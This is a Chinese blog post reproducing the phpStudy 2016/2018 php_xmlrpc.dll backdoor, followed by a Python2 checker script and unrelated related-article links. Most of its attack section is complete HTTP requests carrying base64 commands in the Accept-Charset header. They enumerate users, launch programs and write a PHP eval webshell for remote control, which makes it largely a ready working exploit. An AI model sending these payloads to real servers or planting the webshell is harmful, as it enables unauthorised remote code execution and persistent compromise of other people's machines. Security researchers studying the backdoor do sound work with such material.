参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883

感谢大佬分享!!

SSRF漏洞学习终于告一段落,很早就知道phpstudy爆出来有后门,爆出漏洞的过程好像还挺奇葩的,时间也不算很充裕,今天简单学习下。

影响版本

目前已知受影响的phpStudy版本

phpstudy 2016版php-5.4

phpstudy 2018版php-5.2.17

phpstudy 2018版php-5.4.45

后门位置

phpStudy2016和phpStudy2018自带php-5.2.17、php-5.4.45

后门隐藏在程序自带的php的php_xmlrpc.dll模块

在*:\PhpStudy20180211\PHPTutorial\php\php-5.2.17\ext找到php_xmlrpc.dll

phpStudy2016路径

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018路径

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

用notepad打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在,如图:

说明:存在后门!!!!

要求

请求任意后缀为php的文件

存在Accept-Encoding: gzip,deflate

accept-charset: 这里就是你要执行的代码命令(经过base64加密)

漏洞复现

exp_net user

GET /index.php HTTP/1.1Host:192.168.31.182User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding:gzip,deflate

Connection: close

accept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 //主要是这行 base64解码之后就是 echo system("net user");

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

远程命令执行成功,在响应中,可查看到电脑中的用户

exp_system('calc.exe')

GET /index.php HTTP/1.1Host:192.168.0.108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding:gzip,deflate

Connection: close

accept-charset:c3lzdGVtKCdjYWxjLmV4ZScpOw // base64 解码之后 system('calc.exe'); calc.exe是计算器

Upgrade-Insecure-Requests: 1

exp_写一句话木马菜刀链接

GET /index.php HTTP/1.1Host:192.168.0.108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding:gzip,deflate

Connection: close

accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=

//system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');

Upgrade-Insecure-Requests: 1

可能遇到的问题

若无法成功连接,可能生成目录不对,执行命令tree /f查看文件树,找到可访问路径生成shell

GET /phpinfo.php HTTP/1.1Host:192.168.0.108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Sec-Fetch-Site: none,

accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7

Accept-Encoding: gzip,deflate

Accept-Language: zh-CN,zh;q=0.9

2.复现漏洞的过程中,我自己遇到一个问题,请求包放到repeater时,会加入很多的空格。

Accept-Encoding: gzip, deflate

在Accept-Encoding中,deflate的前面都有一个空格,这个空格导致重访无法成功,去掉空格即可。

漏洞检测脚本(python2)

import urllib2

import sys

import zlib

headers={"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","content-type": "text/xml","Connection": "close","Accept-Language":"zh-CN,zh;q=0.9","Accept-Charset":"ZWNobyAnYmFja2Rvb3InOw==","Accept-Encoding":"gzip,deflate","Upgrade-Insecure-Requests":"1",

}

def check(target):

GetTarget= urllib2.Request(url=target,headers=headers)

response=urllib2.urlopen(GetTarget)

result=response.read()if response.info().get('Content-Encoding') == 'gzip':

result= zlib.decompress(result, 16+zlib.MAX_WBITS)if 'phpstudy backdoor' inresult:

print('{0} {1}'.format(target,'存在后门'))else:

print('{0} {1}'.format(target,'不存在后门'))if __name__ == '__main__':

print'PHPStudy 后门检测工具'print'正在检测', sys.argv[1]

check(sys.argv[1])

注意啊,这是python2的环境,现在urllib2库现在没有了!!!!

python phpstudy_phpStudy后门分析及复现相关推荐

  1. nginx header参数丢失_某Nginx后门分析与重现

    安全分析与研究 专注于全球恶意软件的分析与研究 背景 前几天,接到一个nginx后门样本,本着就分析和复现的思路,完整的将整个过程做一次复现,不料最终还获取到了后门的核心代码部分,遂将其整理发布,仅供 ...

  2. 在会计研究中使用Python进行文本分析

    最近在google搜Python在经管中的内容,意外发现 专著:在会计研究中使用Python进行文本分析 ,内容特别新,专著中含有Python代码,也有会计领域文本分析的应用成果. 财会专业的科研人员 ...

  3. python可视化来分析全国疫情

    很长一段时间在python下出图都是使用matplotlib,其好处就是应用比较广泛,文档很容易找,不过出的图微显丑陋.pyecharts 是百度的echarts基于python的实现,可以很方便的直 ...

  4. NLP实战:利用Python理解、分析和生成文本 | 赠书

    导读:本文内容参考自<自然语言处理实战:利用Python理解.分析和生成文本>一书,由Hobson Lane等人所著. 本书是介绍自然语言处理(NLP)和深度学习的实战书.NLP已成为深度 ...

  5. Python源码学习:Python类机制分析-用户自定义类

    Python源码分析 本文环境python2.5系列 参考书籍<<Python源码剖析>> 上一文,分析了Python在启动初始化时,对内置类的一个基本的初始化流程,本文就简析 ...

  6. Python源码学习:Python类机制分析

    Python源码分析 本文环境python2.5系列 参考书籍<<Python源码剖析>> 本文主要分析Python中类时如何实现的,在Python中,一切都是对象:任何对象都 ...

  7. python处理excel表格数据-利用Python处理和分析Excel表中数据实战.doc

    利用Python处理和分析Excel表中数据实战 [利用python进行数据分析--基础篇]利用Python处理和分析Excel表中数据实战 原创 2017年06月28日 15:09:32 标签: p ...

  8. python空间分析_读书笔记——《python地理空间分析指南》

    本文为<Python地理空间分析指南(第2版)>的读书摘录,顺便挖个坑,进一步对python的几个包做学习整理. 本笔记的用途:了解python地理空间处理的技术框架和实现途径. 第三章 ...

  9. python 相关性分析_数据分析---用Python进行相关性分析(兼谈假设检验)

    一.相关关系和相关系数 世上除了因果关系,还有相关关系. 有一个叫"相关系数"的指标来量化两个事物之间的相关程度. 其中相关系数用"r"表示,取值范围介于-1和 ...

最新文章

  1. 2022-2028年中国导热硅胶行业市场研究及前瞻分析报告
  2. npm更改为淘宝镜像
  3. 网站内容收录除了原创性和质量其他因素也少不了
  4. C++ Primer 5th笔记(chap 16 模板和泛型编程)类模板和友元
  5. soap方式的远程调用示例代码
  6. 主成分分析碎石图_ISLR读书笔记十九:主成分分析(PCA)
  7. java栈最小值的实现,关于java:算法图解如何找出栈中的最小值
  8. Android应用被强制停止后无法接受广播解决方案
  9. 如何让gitbook与github仓库关联
  10. 从零开始学习区块链(1)
  11. php数组用递归函数求和,如何用php递归函进行数字累加操作?php递归函数累加求和...
  12. python绘制缓和曲线_CAD中如何绘制缓和曲线
  13. java 请求webservice_JAVA调用WebService实例
  14. 路由器Padavan固件安装贴吧云签到
  15. Mp4Box 常用指令
  16. android exif 相册,android 读取图片 EXIF信息
  17. css 实现一个尖角_css3如何做尖角标签效果?
  18. 场景管理:四叉树算法C++实现
  19. AutoCAD三维建模图——汽车车轮
  20. Exp10 Final “西普杯”北京天津CTF预选赛真题 writeup

热门文章

  1. php中的正则表达式相关例题,实例学习PHP中的正则表达式
  2. python判断英文字母_python判断字符串是否包含字母
  3. python顺序结构逆序三位数_Python练习题3.20逆序的三位数
  4. STRUTS学习笔记
  5. [USACO08NOV]时间管理Time Management
  6. idea报错:Invalid bound statement (not found)
  7. Python自动化开发课堂笔记【Day06】 - Python基础(模块)
  8. 【转载】opencl中设备内存
  9. 【JZOJ4790】【NOIP2016提高A组模拟9.21】选数问题
  10. Opensturt和Struct区别